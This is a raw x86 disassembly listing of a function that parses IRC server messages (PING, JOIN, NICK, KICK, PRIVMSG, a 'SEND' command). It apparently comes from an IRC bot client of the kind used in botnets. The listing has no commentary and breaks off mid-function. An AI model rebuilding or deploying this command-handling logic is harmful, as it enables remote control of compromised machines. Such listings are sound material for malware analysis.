var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

